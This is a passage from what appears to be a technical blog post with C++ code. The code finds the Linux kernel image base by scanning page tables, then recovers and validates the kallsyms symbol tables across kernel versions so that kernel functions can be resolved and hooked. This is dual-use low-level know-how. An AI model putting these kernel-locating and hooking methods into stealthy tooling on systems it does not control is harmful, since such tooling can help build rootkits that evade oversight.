</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">va</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">page_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span> <span class="o">+</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addr</span> <span class="o">+=</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>If <code>common_startup_64</code> wasn&rsquo;t found (old signature), brute-force <code>__START_KERNEL_map</code> from <code>0xffffffff80000000</code> upward looking for the first mapped page. vmlinux is mapped with 2M hugepages, so the search can use this granularity for a faster search.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">vmlinux</span><span class="o">::</span><span class="n">base</span> <span class="o">=</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">bruteforce_find_vmlinux_base</span><span class="p">(</span><span class="n">X86_64_KERNEL_VA_MIN</span><span class="p">,</span> <span class="n">X86_64_KERNEL_VA_MAX</span><span class="p">);</span>
</span></span></code></pre></div><p><code>bruteforce_find_vmlinux_base</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">bruteforce_find_vmlinux_base</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">base</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">limit</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">candidate</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">step</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">limit</span> <span class="o">-</span> <span class="n">base</span> <span class="o">&lt;</span> <span class="n">PS_2M</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">step</span> <span class="o">=</span> <span class="n">PS_2M</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">step</span> <span class="o">=</span> <span class="n">PS_4K</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">candidate</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">candidate</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span> <span class="n">candidate</span> <span class="o">&lt;</span> <span class="n">limit</span><span class="p">;</span> <span class="n">candidate</span> <span class="o">+=</span> <span class="n">step</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">candidate</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">found</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">retroactive_find_map_base</span><span class="p">(</span><span class="n">candidate</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now that we have vmlinux range, we can heuristically search for kallsyms so we can resolve symbols and hook whatever is needed. Otherwise we will need heuristics for every single target we ever need, and that would be a nightmare due to how distinct the same function/structure can be depending on the kernel config. More on the following section.</p>
<h3 id="kallsyms">Kallsyms</h3>
<p>To support the most kallsyms structure layouts possible and their transitioning versions, I&rsquo;ve implemented a trait-based structure inference for previous arrangements of kallsyms. That includes:</p>
<ul>
<li>4 vs 8 byte alignment</li>
<li>U8 vs ULEB128 name length variable</li>
<li><code>kallsyms_offsets</code> preceding <code>kallsyms_num_syms</code></li>
<li><code>kallsyms_offsets</code> post <code>kallsyms_token_index</code></li>
<li>kallsyms absolute addressing</li>
<li>kallsyms PERCPU addressing (CONFIG_KALLSYMS_ABSOLUTE_PERCPU), <a href="https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L156">which makes addresses signed</a></li>
<li>kallsyms addresses base-displaced (CONFIG_KALLSYMS_BASE_RELATIVE)</li>
<li>kallsyms addresses self-displaced</li>
<li><code>kallsyms_seqs_of_names</code> available (currently unused, useful for optimization purposes)</li>
</ul>
<p>To find it we must scan the whole vmlinux image (we don&rsquo;t have section ranges, so search the whole thing) from <code>stext</code> first for a coherent <code>kallsyms_num_syms</code>, <a href="https://elixir.bootlin.com/linux/v7.1.8/source/kernel/kallsyms.c#L165">a value capped at 0xFFFFFF</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_layout</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">stext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">max</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">max</span> <span class="o">=</span> <span class="n">stext</span> <span class="o">+</span> <span class="n">pt</span><span class="o">::</span><span class="n">mapped_range_from</span><span class="p">(</span><span class="n">stext</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">max</span> <span class="o">-</span> <span class="n">stext</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">uintptr_t</span> <span class="n">i</span> <span class="o">=</span> <span class="n">stext</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="n">max</span> <span class="o">-</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ks</span> <span class="n">_ksms</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">_ksms</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">ksms</span> <span class="o">=</span> <span class="n">_ksms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">ksms</span><span class="p">.</span><span class="n">is_available</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">num_syms_addr</span><span class="p">,</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">ks</span> <span class="o">*</span><span class="n">ksms</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">using</span> <span class="k">namespace</span> <span class="n">kallsyms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">num_syms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">num_syms</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">num_syms_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">num_syms</span> <span class="o">&lt;</span> <span class="mi">128</span> <span class="o">||</span> <span class="n">num_syms</span> <span class="o">&gt;</span> <span class="mh">0xFFFFFF</span> <span class="cm">/* UINT24_MAX*/</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">is_valid_kallsyms_ex</span><span class="p">(</span><span class="n">num_syms_addr</span><span class="p">,</span> <span class="n">ksms</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ksms</span><span class="o">-&gt;</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">TRAIT_ALIGN_4_BYTES</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">is_valid_kallsyms_ex</span><span class="p">(</span><span class="n">num_syms_addr</span><span class="p">,</span> <span class="n">ksms</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ksms</span><span class="o">-&gt;</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">TRAIT_ALIGN_8_BYTES</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now expect a <code>kallsyms_names</code> table following <code>kallsyms_num_syms</code>. It infers the ULEB128 vs U8 trait:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">names</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">num_syms_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">),</span> <span class="n">alignment</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="n">names_size</span> <span class="o">=</span> <span class="n">get_kallsyms_names_size</span><span class="p">(</span><span class="n">names</span><span class="p">,</span> <span class="n">num_syms</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">is_uleb</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">names_size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">size_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">get_kallsyms_names_size</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">names</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">num_syms</span><span class="p">,</span> <span class="kt">bool</span> <span class="o">*</span><span class="n">uleb128</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">names_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">map_end</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">is_uleb</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">names_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">names</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">names_address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">c</span> <span class="o">=</span> <span class="n">names</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">is_uleb</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">map_end</span> <span class="o">=</span> <span class="p">(</span><span class="n">names_address</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">page_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span> <span class="o">+</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_syms</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">length</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">pos</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;</span> <span class="n">map_end</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">map_end</span> <span class="o">=</span> <span class="p">(</span><span class="n">addr</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">page_size</span> <span class="o">-</span> <span class="mi">1u</span><span class="p">))</span> <span class="o">+</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// old name limit was 128, but the check did &gt;= 128, so its actually
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// 127 (literally 0b01111111), just the MSB not set. if set, its the
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// new ULEB128 length convention. very convenient for the heuristic
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L155
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L444
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mb">0b10000000</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">length</span> <span class="o">=</span> <span class="n">c</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mb">0b01111111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">length</span> <span class="o">|=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">is_uleb</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">pos</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">length</span> <span class="o">=</span> <span class="n">c</span><span class="p">[</span><span class="n">pos</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pos</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// linux kernel limits kallsyms name length to 0x3FFF for ULEB128
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L432
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">length</span> <span class="o">&gt;</span> <span class="mh">0x3FFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="n">length</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">map_end</span> <span class="o">&lt;=</span> <span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">map_end</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">map_end</span> <span class="o">+=</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pos</span> <span class="o">+=</span> <span class="n">length</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">uleb128</span> <span class="o">=</span> <span class="n">is_uleb</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Old name length limit was 128, checked as <code>&gt;= 128</code>, which is 0b01111111. <a href="https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L155">This implies ULEB128 can be easily inferred through checking if any size has MSB set on first byte</a>. When its ULEB128, <a href="https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L444">it uses 2 bytes only</a>, <a href="https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L432">but also limiting to 0x3FFF</a>. Next item to validate is <code>kallsyms_markers</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">markers_count</span> <span class="o">=</span> <span class="p">(</span><span class="n">num_syms</span> <span class="o">+</span> <span class="mi">255</span><span class="p">)</span> <span class="o">/</span> <span class="mi">256</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">markers</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span> <span class="o">*&gt;</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">names</span><span class="p">)</span> <span class="o">+</span> <span class="n">names_size</span><span class="p">,</span> <span class="n">alignment</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_kallsyms_markers_valid</span><span class="p">(</span><span class="n">markers</span><span class="p">,</span> <span class="n">markers_count</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span></code></pre></div><p>Simply check if its mapped in memory, not a null pointer and if the markers are in ascending order:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_kallsyms_markers_valid</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="n">markers</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">markers_addr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">markers</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">markers_size</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">size_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">count</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">markers</span> <span class="o">==</span> <span class="k">nullptr</span> <span class="o">||</span> <span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_range_mapped</span><span class="p">(</span><span class="n">markers_addr</span><span class="p">,</span> <span class="n">markers_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">markers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="n">markers</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now validate the <code>kallsyms_token_table</code>, all 256 strings should be valid ascii strings with length &gt; 0:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">markers_size</span> <span class="o">=</span> <span class="n">markers_count</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">token_table</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*&gt;</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">markers</span><span class="p">)</span> <span class="o">+</span> <span class="n">markers_size</span><span class="p">,</span> <span class="n">alignment</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="n">token_table_size</span> <span class="o">=</span> <span class="n">get_kallsyms_token_table_size</span><span class="p">(</span><span class="n">token_table</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">token_table_size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">uint16_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">get_kallsyms_token_table_size</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">token_table</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
